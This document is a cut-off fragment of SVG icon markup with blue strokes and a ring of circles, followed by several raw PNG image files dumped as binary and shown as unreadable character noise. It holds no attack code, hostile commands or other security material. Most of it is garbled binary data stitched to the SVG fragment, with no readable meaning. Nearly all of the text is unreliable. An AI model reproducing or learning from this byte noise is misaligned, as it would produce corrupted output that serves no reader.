65.52 1.24 91.916s21.4 47.796 47.797 47.796ZM82.749 125.568l27.677 27.678" stroke="#3858E9"/><path d="m41.802 60.677 3.508 3.383C31.465 65.786 20.75 77.59 20.75 91.905c0 14.316 10.716 26.116 24.561 27.846M55.837 123.133l-3.509-3.382c13.846-1.726 24.561-13.53 24.561-27.846S66.174 65.79 52.33 64.06" stroke="#8C9AEC"/><path d="m36.633 79.512 24.81 24.811M36.633 104.323l24.81-24.81M49.037 74.372v35.088M31.493 91.916H66.58M90.966 179.474c49.415 0 89.474-40.059 89.474-89.474 0-49.415-40.059-89.474-89.474-89.474C41.551.526 1.493 40.586 1.493 90c0 49.415 40.058 89.474 89.473 89.474Z" stroke="#3858E9"/></g><defs><clipPath id="a"><path fill="#fff" transform="translate(.714)" d="M0 0h180.253v180H0z"/></clipPath></defs></svg><svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M270.345 217.08c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M260.414 230.938c15.797-27.361 6.422-62.349-20.94-78.146-27.362-15.797-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M247.972 242.592c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M233.491 251.59c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M217.543 257.591c15.797-27.362 6.422-62.349-20.939-78.146-27.362-15.798-62.35-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.939 78.146 27.362 15.798 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M200.721 260.371c15.797-27.362 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.146 27.362 15.798 62.349 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M183.691 259.816c15.797-27.362 6.422-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.939 78.146 27.362 15.797 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M167.095 255.944c15.797-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M151.563 248.909c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.798-62.35-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M137.705 238.977c15.797-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M126.05 226.538c15.797-27.362 6.422-62.349-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.348 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M117.05 212.063c15.798-27.362 6.423-62.349-20.94-78.147-27.36-15.797-62.348-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M111.046 196.104c15.798-27.361 6.423-62.349-20.939-78.146-27.362-15.797-62.35-6.422-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.362 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M108.271 179.293c15.797-27.362 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M108.825 162.255c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.94 78.147 27.36 15.797 62.348 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M112.701 145.655c15.797-27.362 6.423-62.35-20.94-78.147-27.361-15.797-62.348-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M119.731 130.126c15.797-27.362 6.422-62.35-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M129.662 116.276c15.797-27.362 6.423-62.35-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M142.104 104.62c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.35-6.423-78.147 20.94-15.797 27.361-6.422 62.348 20.94 78.146 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.579 95.618c15.797-27.362 6.423-62.35-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M172.533 89.615c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.94-15.797 27.361-6.423 62.348 20.94 78.146 27.361 15.797 62.348 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M189.349 86.838c15.797-27.361 6.422-62.349-20.94-78.146-27.362-15.797-62.349-6.423-78.146 20.94-15.798 27.361-6.423 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M206.385 87.39c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M222.987 91.264c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.94-15.797 27.36-6.423 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M238.519 98.297c15.797-27.362 6.422-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.939 78.146 27.362 15.798 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M252.371 108.227c15.797-27.362 6.422-62.35-20.94-78.147-27.362-15.797-62.349-6.422-78.146 20.94-15.798 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M264.02 120.665c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.349-6.422-78.147 20.94-15.797 27.361-6.422 62.348 20.939 78.146 27.362 15.797 62.35 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M273.026 135.14c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.35-6.423-78.147 20.94-15.797 27.361-6.422 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M279.03 151.099c15.797-27.362 6.422-62.35-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M281.799 167.916c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M281.251 184.957c15.798-27.361 6.423-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M277.374 201.558c15.798-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.349-6.422-78.146 20.94-15.798 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M270.351 217.082c15.797-27.362 6.423-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#3858E9" d="M219.5 191.5v10h1.5v-10h10V190h-10v-10h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M.5 0h290v290H.5z"/>
</clipPath>
</defs>
</svg>
PNG

   
IHDR      `   c   PLTELiquuuaaa   vvvbbbIIIdddzzzsssxxxyyyyyy   ~~~xxxxxx   sss   sssyyysss   yyy


yyy      sss{{{xxxsss{{{yyyxxxnnn   yyy   ~~~tttssswwwxxx{{{zzz~~~   dddxxx|||ފyyy```rrrΏ   uuu玎Ŋzzzaaaxxx   mmmbbbrrr|||kjjcbbbbb```nnnxxx<<<>>>@>>???噙ﱱ쐐󩨨䉉㾽Ѧtttتݥã֌ϧyyyİͻkkkἻX   tRNS ,L
=%*!.@'	-KhՇv:`>1UJHE3K%S[Y_54}A܀j@~SSw'1f{.Nj2ߐh  <IDATx	XםM+v$M8NN֩#vÉs4s5

 N#$40BB	$$W$H0Gc6ͩf~~?xo4{8
nmmskk2=.DgnrAlƫE6.Wd1~T-chSF^]ƙ]F|-8?qxmOJb:A]v1Ymm[Bc_}RO s??޳f(a`DaW`'_XP~X$M"	P~ߨ1(XX~L]׆[AyS`yiEPP-^Z=,:YБV~ySLg/zDX<yξQh{.QT=_(AH%>H$9?C?xwy޻ѭ)Xɑ#G)N14'&He2~d2)%Z\^&ZɰT6y	IR6&tjYH:Z%u
:	7MЂȮƱH4tQBeġqH*	Tc]JZ2MTy
F2$1'HK%'CA%)x0B
 
-KpH!o`>VFQh&z^b)S5|ZZ3mm3a_L|_,0GY`d!YY`gaܳpᅭ㎻GyGC.'w̑#엯[J*x/ъeirhxȡecT!<ZWiWTM,Xsa8hԥTkh MWw4	-L[xrelwB|A	57Dڌ=qF-{iJDxdc@N8oxcЮ=h(C蝞hHis

7\mTaKKrfAd2	ZȌZ[I@&B wS!)BfhAMPDL#G/Gͳm8ww'r;"If>;noՒWl 9Y4XyRV#"I-")ؤ
uI#IET!>SM;	A07tLӄ2j~o]~x*m7=NVCSml~?Mv\bdQ϶odEM7Y~_
KIΛ 
B5Sm5<d9a.?GǭP?'B={9碴
礪CJ<*6rsi{|orFCȌws8'JH[ypPN{{	;r<a?q(7ې#G/%oy7v3@xÄ.3,o M0+yLKMbdMC1d
LKJhLKJീ}"Ò)`nm
P7l<xUՔT'Gl4&^JxB$O=%x4ld6lu<1Ԕ`V"jl6gLV)I޸IGJ[ʲ]V.u*]woV% (׀* }uoP0L,S ~|bJiA"!Je|	!5K)A0>JXGK:Jԁ>Tb !J()QIA5eb`Ael[JZq8{A?,\jՅ[^(`[/\X
Fr1>؆K{Y5k-Eˢ
zM_]	j@+RoA	%Pa\zAOh>2!Ea>0@@X8
nD=KCQjiZ#jR]s2]IG>b#4\<b"EkZ_HI>lAP-[d6xW;mX)+5Vu1vQhTm )tiX[a6	@oT72ve8ROh@,#uj2-To ^"1:)ŏ2<Yԁ^ׯRI|t('JǠ
[A	?&+qLƝ\('O+lu">H5񮫂WD-L/\?cQZT]qv^mTmff&rnsyC	?ۖ,7/X_]dW6ȑc^8!#;wmiF,Ҽ<&-Am'^=< 	"[ʷY^WRUʝK	aRƗVVRːp$*tU)TLbi!||j7ס!}H	VŋW.	_0|*q^m
%C#%?yGQ|j5X͏Dm=qf&bxlbUP5*_F@Qc#}b,mB%xSe*nnA6ªnqRN	Q)EQ!,mEO!܇L}	EM<;I
s@n"ȑ#Ǘ@BATZ(#,0*tGT[[[wuCۦT[&[;B#,APPُ"\´\ղw
mE35~%D;:ʾަ`.1ј	ۏ~0kbրT6sl@~%dbláBK!0(|C\.f"0[Pb`Ŋh+*
L.Q8=
&}%Ti1`|A!*("L(!Z>1mzmFGz'[`ؖaJ>D,ևDhA$&1Iu2:\ܤP@ws5*ęK׵<%ȑ#=Y+;So bF=;W8;<L48W⡆D|y={"<RG	<Y%>y2ú+\Nrw5g_tA*^DP+H5^S
0{|kbFOf,0rKVKXsLg6@ߣ.5a IeDӥϞFH['Se:mm=Y3/cH浩njvdS^lXqX*/;")wPs.q?;ݨI#[Ay.+µ;rR_k+UUACr"{Tx;-!t2`EWԗ;6IXH.IjUN?OϨ<'aH7xuK)ڷ_x嗿./kk9rbYKk׾lCOwK,X\t1u<5!X(\6cە^pz|V>oc7u^뫇Y;ק*N/^@|5y!cis1W},M^?;;~l,҄J[h6+!Kڀ7t;Lq`]/U-dgbl,}<(c /gEM:2_\20Ym=L?fbbkL78>8d)XWX#gyYa_ӹf D:nh2wS1wΪ??hr*(Ύ/&W]K/WP|V{Μ;Upz]WWY<`bSEMz7@("7,ESyRDe*q淉K?ː>m}+_|~ԩC=p۶m?\#mn    IENDB`PNG

   
IHDR         8<  IDAT(RNAKhH
eKD>Hmw4MvAJ_uݙ˙֏&wf{!D3FW78%;J!	gcxTwFwk떌W^!߶V.~H_?<Kໃ(lG~)߱eg>꿆ʢ0 <OSmU"=NiSYkNye}i\t'Iɿ%x]{mc_g8<X||bߩ,8ZSZ0"cbQ2I5niaBY|\?YAtLh;'ozNUQ!dQ kI	}u]_EPAUz]ˣ)3Ƣ(O
h8*Z6M۶;o5?fC	]iuHp-(;`l8c?OL?=M,oϺ3    IENDB`PNG

   
IHDR     @   )    PLTELiqS4BXI   ,<K    LYQX
	K}%4L><6%$<LJ}.:M:0(~x`.@g-?cQ}A4!;f~N1Cl!GGLCuNG(H9$K>lZYV3;PGQ*=SQIE3&D52H|=1$1=9%MMLG,RI4:PvjAq8/bSN##@n~w`T+I"IIfWH<GE4Fq/Ah?mUN*N{$KK59IuN$$Luna=4&5M/(e6^tjg\(:YƗRaiyxQ[TR,NJbF@$kNA*/$.JFxZ/G֭t;=!⹹JQŦP:+}]y񽹰Шm?kfdiݹߝ>==z':Q݁z8"!Yz?ܭw]mxřM7Laǩ̭Qr{4H2V\kΕڟO^>>?uRj{OOFFGaC^|Q~?pĳ¼ʰIJ+kۑ˟f؂Gٓvñpwڛ6]qhIf]Ǔp߹sN`u/ξ`|JN]ZdbxC   btRNS >*3 OA*lK?=J8_q(,WJµŹh\_ܵIcɮxtmZ  +IDATx{PSW/(:@x	ped
nus	ã"T^)!&JE^<EEjΞ{97Ns?n2ܓsw~ɀafemկ_''ٖmn6ylZFSEr/*^6~""TDb.Ѣag
P ̴4L,0LquumХ:k#P
L𷴙B7r-?ŃO|ZlD"s"
]u>E0zi,=p9YX܏*goirC6պ,-O)O
r=vCZEt!a1ðTA"QHM]$;so/sAKl~EFm!{ts[Z@T(+fg-|thZ4;9G^:Fm6XAԓ"Ht3RTwEK>vVsrR}4LOF7LOOGGOOjFz͙p,`
ioT٠Xxa})?Ԛa|Ksɓ8yrgxQHޞ٢Za
r|BK`zeOGiɪdhhD{ a kIcD\yaOQx(|K7BFIr^EHHp.vavVXtOy	&3
wv4eŲJl(ÓcKloWJGT4 
W?B|sph -9҆ 2U^yd)«[E###"\	~rRX	ZOx %I R|5
nU+B,w,S[p.-hvTbc,PC8h
<DPD49wћssY ,|% S}HZ0!
#i#a%X9KJˮ]\'z<deCKFq9ep<T*}_i|jrt@SGr&ʔ̓
dsJRVF䅜DxYk/O
@4yRT)qGaﳈ*!
U}}UUmICV]-@6:xckp?  Wk#5]q
uÀkCE:
ӹ価	zb䌒B@IIfѬT 0
f[ hX%
h5!=w7RXC[U
VQ6SؒUvD_6J|4*dT.W q֏k×j
SgMy9-<*᧟H
Iބqy4DoBj ajs*
äD⃮=PА][[[P`_]ospXSLJ>7*Wu8VDp^pF79##oJSZjAb4|wT𝤸ؕoESyֿ^DhήZj٘!?aOIX{CTr*ıw%#4\&L2Rm,MM*$h49Iw ,=ӠP3']3;86r??9V
Xx΢QL_~}DoAal,7l>[Ӓew՜:Sb|ׁ٫2RDf+(g(Õ3:pU]9jR;a5n7gdZdJ Wu`ݎehoddFI>y⫾骕̒EK[^3q' I[1lo˶{c/qf!HАeiiI>=7@}'W}Hů	475VP1x^KB֮Ȑe#&lR݅+K;ˎH]6ǙE|j[hf-5a>:c{邏?}lY`%4U,^9xHҐ*]ktK4}{ࠥazz4j7Yz
;C+ScȲԕЏŃ򳩉	qˠ	5D5+
Qh;iG+D1()ɄhpͨCȾ}GQl♱&4?b9Q ]2c'b\@E$H׳ţG%eDvpi
ؽOO:
:ف:@F@`iqA/U=		{P>?tv͚#k(HK<;]Cpd>-qomAZHO##q
>6UPw' OI6
X4qHvG1f@ `Zj`|jgZ@!wcDA,Ǫn,؊CklZF8ngպuȇxY`B
C`ŗC#Y/A|nƾC.;#%}ьRrGsy]\g#=x1E`/Rzߋ<A1) |eb}Ʌ
={-m6>*pIc=`ESF!*QALc- #܉.4s[/eƴ'%(
'uF^Ƀвͤ(CQ6@̨- %T	7jKU

$ ~<>cIP`Ef⨡mVHW]yn8#zK6|-TT,k$
n	))& ܯԥ!AD822M`6q=7:Su
CimAƠiS)rfPY2pM裝XbI( 0B5DD+V4y05nLLAk@5HMc֠' 󣘃e{K>^[Vzi4FdG7=f1#i^se*c-u]yVLrzAKvkHnp{|͏
Ns0	'iaqZhyq鄡:hԼRrfk6(
0!לi
!9%,Va0بS.jt
;Cؾ5bov
B~41PQ]Ҟ\~ikHlc+C!<[`& 0@g00Ά1׮VS糜ROIBq	<)? ?VQ5ht0l6h1Ppn9C''sp:{vy`0$BR:d`Ϛ&#:'޽jF+
3ȏ|/"q$=i=G0xN9gUaY8=`ck 770Wf\`P
w<U!ˠ@衎B*Ո$QP_+lIdJ! ! PQ(äFCH4ΔLdޔKzA(7?(ťON_)/gYw~?Wʷ|km*q6@ua0j$9G)9,}u;?L'k%B֓Δ>~vz
R)pJR+튬
J$rJEVNo"7Z ֛!.J)̿ÇR )q=(ix8|1hvQfb:+t
R~mûN]29?uB1>^]}:l2H6&ON^y|1r?{7EHpPx{^{^{ׯV:	    IENDB`PNG

   
IHDR     Z   "Fv   PLTELiqppprrrrrrrrrkkk~~~   MMMqqq   |||eeekkkqqq!!!xxxnnnrrr}}}sss|||			qqqooorrrqqqqqqqqqsssrrrrrrrrr}}}^^^}}}rrrpppttt}}}UUU}}}rrrVVV~~~zzzWWW]]]rrr}}}~~~```\\\}}}ddd~~~aaarrrcccSSSeeeuuuTTTdddcccooodddrrr___qqq}}}TTTddd


}}}fffoooXXXaaazzzZZZNNNyyy}}}NNNeeedddkkk:::KKKlll~~~DDD???EEExxxsss۾׼нrrr˴ܿɶƲȷ̡yyy^^^```PPPڒ|||MMMjjjݕ~~~\\\:::ooovvvWWWSSS﾿EEEJ   mtRNS ~J+>13%̓	 WkL*%4}t\)NϵhGV.:Dڊ4CwPUgq՝wkq~Sd"nv  QLIDATx	\[םﱍmԮ7I4{I7lMi:t˴3iHBruj%$!$ab f68$Nuf4;JtEf5܋bE+ZъVhE+ZъVhE+ZъVhE+ZъVhE+ZъVhE+ZъVhE+ZъVhE+ZъHT
lBnr
5+gcE+Zъj{htWhE+*>e[*{4S`0\6˰7Uza~YK7J(BX`>v;O-55
lYkZ
d~p={֞={vxJ
ϷјtճKcFAzǞjymg˿UTB>|=ue0$72^{ݦ-klt2L@~n>~{u
8/?ױi[W;|rV;^KC}`+a
8O,'XRpr!Wu:Mi0yKq.Z~>pwnl'd
e}VePT^5A	YPyWz/& :p[M4\Ǐ
>ҁWi/Ζ1Sn"́녗%o_̜_N_I zP;\8aߐ~<M`+H_K/<MBY?X!gE~nDoKוۺáj_3wl'oZ̰yn+Сn2b_~g׽?^USUS;<Qˍ" 9եtckᮤ>vK{LX"x
I677?n^QvGzy|E%٩] xhl&W @e'|)OMs>o7o/}+AܸoUQ-;ۮ
!0z].;z
xb(ł7,9eЍSVȪF7$WaryrQXJ`rWa_{uhjo^)/7Nq\:y0rbL	HPK%a敘/o?/_yJ;ضroq+Zy2O]*dҜSbf
u9zRIzScs.NynX3 \SxPlv_%eY*\bo{IY(EqqTj벗LgO%ː<Y5d8l,ԥp93Z.ߺ:^Gq"JWPAv2>Z8-s$7	2jmTT:(*D%H-nt&Oͤ-GGI蛚>Q̢.vZ()#klq^l9k+=,0x ^m-{$OFTrۖ\g9o),D"
Țz'.XǅJ<ظ٣kÇ#`- AxGBa`d<ݨMy}	Nd:Mtߝ7uL:FgP9\gO98 qrrWo	\Q6KjX(ytз@a cؗ5ly/µsrp1'`MSݭg4Y	d/t,\Koz)<
Jڷ#>"UTQy'iǲɐ~_T`E}~YU'v2q>(=uNAKRˡ"s߳߫zzD\6JƠڟgz6CR,:3)UK P$`zhKtp?WynlQV"QtW&l^m3|L*h|twXOXs(6xH:}'Gyg}K 5ɔI9jA_QoM&ӑȡ1:gi[G ,Oo|p)7wYIXڼoSJhtIs,VbPS7jZRހ	wŁ{Y8<I(YG)HJU.wZbtaPiEY;Ԫ vs^YYq>DfSD1Y	Oxitݚ0gT_2Λ<h3=`xNl$֋w5OxqoHPNI[l|widRMZfŌ(Yè	/U^F7.՛QTiJju[ojÐ0)QL8xw˂OzXV2追Y_UyO<|6OA?/A}@Ϧ,\/ Ʌ3L[K XxuY⪋VTCгT̉Sv>hllF\֮@I'FDT7/|Dsj FZZc;4XkV\ACP7D}}3u-c%cA.^VW{:W&k8i!L"Jhvqh.ͱl? {KoScol\_y%b z>7
RpA^wR-onIzQɠy<o.?磓v<{d4G=k^d~}|'8faJ͞FuL6qչugϞ@=ںu×
q^UR9Mz:z%n eb!Kc"z7\ч1b˝AO
bNxPklozaf}t![Z fHP$Hy88/+Þ<-eIg.R^/b.[t=٠ZݯMqFY7 c1N@[Q=lw`@t4
$iTy8Pԣ22Keg8=e|'O896֛#@al@1?twmy.i{M)_9K.#7.d\:5{| b' !Ɗ2#vn5}*3l~Mg$}kC(~ޖJ^_3@uN7[6RXPJw5L`J絴wfb<:T@6y&CwRT]
.d?4hXn#aGOlO@3شUUkix襼+BM)_<eӶ4a̣U2諮Sj+yL85:ˑ~(٠69&=nz≧b2ĸΌz*efp1&rt;pn3Cֶx͙iiG-6U6."'7p^!Ip}
5iL'#ͦ\溇WgJ]2dP'k9kH }$@\06qζɴ*_ !\NcӜuG~+}_*7H>oyIϭN4&}?- %<nX
d<	?&r"^7J$⇮#|e < ̀9PK}%HxMY9oˍ]'9ҏ
:zveD~?;Y	JsP)3:3֢B5:E.Ovf7XJGP4Q
y>c.H=<IK0\87d
!Áf#F-b-Oۛdni;	O&t)Q6<ЮXvǛRodYALBgLs^:~ z"k9dIJn3fk9l.3no^(.꽡)K\*pe%(KV'!j:468VX9^:͓>ĄdЯ;<LUZwHX|	Kd-8sܢ$#c$<hwvg`	@p юbBԆnE2L΃n3UJ]|W0lO;w8mf@S^~(x9<PHk0/E~:L:3mE T$
#IeVL,Os^evO~wovO)s-R)sf!
:ܽɤ5`аXJW͈ѹItvPjhLt`BdnywNc+K_EUcA] ~PF;X_?Gz'k<đaqdŠ47w>JPDeW zMǆ)dLC&dˑX4\ƉC}
bGFWcC}	H"Z@ң*}a#Hd ⽑Լ70sM^?iޑ1+6FQz
AFͥv@vv7khu78&Gt"I-^IRU>?z=&Jxv%|= =&ѦRdb^.0rko.}NI"}:`_y$-5Ғʕή5ɹ%n
C%H];=<*LƝ#=tܓ
udtDIcb9(MG?u(mB ` kޛ9|XL2\י9sft zQ`.7ˮt*UZ	aN\z=S1b{u&:݆)ғ掘>*J5z.5lg	z{xwsck0^AG/x*r4R(`ji.]uK5͹I
*CdͫMzwΝ.	\ͬ'lcF\&Ƈ&'x!XM[11Anjmu.X&w9Vˡ))y88ruab"#XdW$8	tL<[qcCf	\fi)fM2CVzh^lr!qt}p=*waʉIƁJ.5DqD褁1b1x$;f$ G^kXHORޛM 8߹P;7q88ҼrA]7cfZ3@[Vߺ	 afyVmE~Z/w-
o{,
Kg3gTŮ\7ghu4ӥvF2:1LGqR(Tّ4N4<]&ptN2@[0c2@YPQ{):rq>p}|H ɠ£f6!|hy)J%R9ݶL[9γ뇻6Ip=;Gz
~;weAfHY_6]wp zoRýjұ#֪j(q%_!z (p[!,`gS'+"J8951L؏`8@oZ6}nMimb)7uIjc؞E~{"5tXfk8fE2^9*5;\4d,Ƹ"	t&wtc kϽ1YFFnͨL._zRaԨi E
vc8oZf۷/3>nϑ~ɠF "T"7F9׃~"Oz1WbV١hQ..J(|{v>E<(Љ@%3ihK!th>	,zω0)jqԦ1&1IiWmQ3) }lW>EzWk3D>%s9x}
k6}*R0@'4& M&j
Vxg{m\N49_?<E=1JQkP_/%.S\7*;~(ҙ
?0"KiG!bȚ
!
g"|\(*p,d<oL%t-\L#X2ty8	3'sd&WNBR!`<úIJ/qi[JL^˅̗Q9t)E?Z6)<@h\0NIR[,T	R* 	w5#k,<c&HNG~+[ޛsi7ͽb|л~&=ZGn3>0.>M2o9Zݸ%6&9>2W\CO;\779Y"7¬Xn-Z0#C8E "+85.xHdiSh'lr[qI`1oHcb@!
& 1lA:=~2cSǳYu>MqŤFLBAgp=[}	"{&AQu:w(\n9@&%7vd  =SoVZ
!=nPي+L(+[餈xmgCU, }pJcwCZ7vYus{WK9j@kΤoUR1{8Z 0\PjM:i)IN l9ɑ3T꙱\q;bf3+U,˖lf`):KTQ"f!_oGݥKepTh^@,CK`h%/:]Ǒq<nAAt989q8r!}l?X:Ñ95 IuΣ(&lzW̯L.h~Uo0
2BdL&ކG<](p
J%J̆H܈Nry~fWq?qj&oġQye{Sq1pDo~on_C!!baGx968BCą$k$$Ϫ
Yopʃ7:bζ7\+oin,$)`RjԽ]EI͘,+Jj\X JcPmOP@.mW4* zVRQj~eY",yD:.2!9ƆyC,Ԅ x㉏_bI_yT(14U_%32`1DV_QA2軙sRk5}7xHcGHfl+fr	ÉL/Arԝ-
qƙ3!CGZP$O}7_K|Ts桹/CF/*fwIoiWZu`Nwp#冘/4%'1!SM:>\<n
ZZۡܺQZgIIvᑪR htf9>zV7oⱅ՘x˥z%p^
-Oڥp%ޞh<P IlHI K1ɂ%ISDOOp+9ɰoH;Bڡ}\d'Aknf_=fr\Kkho94T:/Z0"cBS$3E0
>b`}`'02wvTj+Ba׀I=
#j=H=ZςW{C3
zļsm_?A?xl@닦Sj.(:;'=5WJ>o8`y<j5/)ר-M
 &+>l}㇡WTt3s]J}SI&WB펴9Hf)Vu9Dx{'-N9BKD>088p77:$iL2pt!1iC:M'G`y0#ґLQ72yp`T2Wmf<_qʽZJ݄éK@_A8ͤ5E2S8sCd^C?3:tFw
v	pM~DEbiTWE6)H:36#̒#}<yo}mudhU!"9bO*IH/cj<> }^~BvqC-6
N7_#mHZҋWU?6أvؼlؙιK	6\`~E'8 ~л.Ԍ}`nˀ#ed6_Ybj>{L̶md9BPSM~X.M4".
